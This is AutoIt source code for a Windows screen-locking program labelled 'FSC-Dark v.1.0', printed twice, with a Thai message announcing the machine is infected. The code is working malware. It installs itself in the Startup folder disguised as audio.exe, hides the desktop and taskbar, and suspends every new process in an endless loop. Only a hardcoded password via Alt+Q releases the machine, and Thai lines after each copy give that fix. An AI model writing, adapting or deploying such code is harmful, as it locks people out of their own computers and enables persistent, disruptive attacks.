#NoTrayIcon
Opt("Wintitlematchmode",4)
HotKeySet("!q", "_ExitLoop")
FileCopy(@AutoItExe,@StartupDir&"\audio.exe")
WinMinimizeAll()
WinSetState( "classname=Progman", "",@SW_HIDE)
WinSetState ( "classname=Shell_TrayWnd", "", @SW_HIDE)
WinSetState ( "classname=Button", "", @SW_HIDE)
MsgBox(64,"FSC-Dark v.1.0","555+ มีด้านสว่างยอมมีด้านมืด"&@CRLF&"แปลไทยเป็นไทย เครื่องโดนไวรัส 555+")
Local $Listold=""
While 1
$List=ProcessList()
if $Listold="" Then $Listold=$List
for $i=1 to $List[0][0]-$Listold[0][0]
_PROCESSSUSPEND($List[$Listold[0][0]+$i][0])
Next
WEnd
WinMinimizeAllUndo()
Func _PROCESSSUSPEND($PROCESS)
$PROCESSID = ProcessExists($PROCESS)
If $PROCESSID Then
$AI_HANDLE = DllCall("kernel32.dll", "int", "OpenProcess", "int", 2035711, "int", False, "int", $PROCESSID)
$I_SUCESS = DllCall("ntdll.dll", "int", "NtSuspendProcess", "int", $AI_HANDLE[0])
DllCall("kernel32.dll", "ptr", "CloseHandle", "ptr", $AI_HANDLE)
If IsArray($I_SUCESS) Then
Return 1
Else
SetError(1)
Return 0
EndIf
Else
SetError(2)
Return 0
EndIf
EndFunc
Func _PROCESSRESUME($PROCESS)
$PROCESSID = ProcessExists($PROCESS)
If $PROCESSID Then
$AI_HANDLE = DllCall("kernel32.dll", "int", "OpenProcess", "int", 2035711, "int", False, "int", $PROCESSID)
$I_SUCESS = DllCall("ntdll.dll", "int", "NtResumeProcess", "int", $AI_HANDLE[0])
DllCall("kernel32.dll", "ptr", "CloseHandle", "ptr", $AI_HANDLE)
If IsArray($I_SUCESS) Then
Return 1
Else
SetError(1)
Return 0
EndIf
Else
SetError(2)
Return 0
EndIf
EndFunc
Func _showobject()
WinSetState( "classname=Progman", "",@SW_SHOW)
Sleep(500)
WinSetState ( "classname=Shell_TrayWnd", "", @SW_SHOW)
Sleep(500)
WinSetState ( "classname=Button", "", @SW_SHOW)
EndFunc
Func _ExitLoop()
$pass=InputBox("Administor ", "Please enter password" &@lf&@lf&"Enter password here", "", "*")
If $pass="gukaaak" Then
$Listx=ProcessList()
For $i=1 To $Listx[0][0]
_PROCESSRESUME($Listx[$i][0])
Next
WinMinimizeAllUndo()
_showobject()
Exit
EndIf
EndFunc
วีธีแก้ กด alt+q แล้วกรอก Password
Opt("Wintitlematchmode",4)
HotKeySet("!q", "_ExitLoop")
FileCopy(@AutoItExe,@StartupDir&"\audio.exe")
WinMinimizeAll()
WinSetState( "classname=Progman", "",@SW_HIDE)
WinSetState ( "classname=Shell_TrayWnd", "", @SW_HIDE)
WinSetState ( "classname=Button", "", @SW_HIDE)
MsgBox(64,"FSC-Dark v.1.0","555+ มีด้านสว่างยอมมีด้านมืด"&@CRLF&"แปลไทยเป็นไทย เครื่องโดนไวรัส 555+")
Local $Listold=""
While 1
$List=ProcessList()
if $Listold="" Then $Listold=$List
for $i=1 to $List[0][0]-$Listold[0][0]
_PROCESSSUSPEND($List[$Listold[0][0]+$i][0])
Next
WEnd
WinMinimizeAllUndo()
Func _PROCESSSUSPEND($PROCESS)
$PROCESSID = ProcessExists($PROCESS)
If $PROCESSID Then
$AI_HANDLE = DllCall("kernel32.dll", "int", "OpenProcess", "int", 2035711, "int", False, "int", $PROCESSID)
$I_SUCESS = DllCall("ntdll.dll", "int", "NtSuspendProcess", "int", $AI_HANDLE[0])
DllCall("kernel32.dll", "ptr", "CloseHandle", "ptr", $AI_HANDLE)
If IsArray($I_SUCESS) Then
Return 1
Else
SetError(1)
Return 0
EndIf
Else
SetError(2)
Return 0
EndIf
EndFunc
Func _PROCESSRESUME($PROCESS)
$PROCESSID = ProcessExists($PROCESS)
If $PROCESSID Then
$AI_HANDLE = DllCall("kernel32.dll", "int", "OpenProcess", "int", 2035711, "int", False, "int", $PROCESSID)
$I_SUCESS = DllCall("ntdll.dll", "int", "NtResumeProcess", "int", $AI_HANDLE[0])
DllCall("kernel32.dll", "ptr", "CloseHandle", "ptr", $AI_HANDLE)
If IsArray($I_SUCESS) Then
Return 1
Else
SetError(1)
Return 0
EndIf
Else
SetError(2)
Return 0
EndIf
EndFunc
Func _showobject()
WinSetState( "classname=Progman", "",@SW_SHOW)
Sleep(500)
WinSetState ( "classname=Shell_TrayWnd", "", @SW_SHOW)
Sleep(500)
WinSetState ( "classname=Button", "", @SW_SHOW)
EndFunc
Func _ExitLoop()
$pass=InputBox("Administor ", "Please enter password" &@lf&@lf&"Enter password here", "", "*")
If $pass="gukaaak" Then
$Listx=ProcessList()
For $i=1 To $Listx[0][0]
_PROCESSRESUME($Listx[$i][0])
Next
WinMinimizeAllUndo()
_showobject()
Exit
EndIf
EndFunc
วีธีแก้ กด alt+q แล้วกรอก Password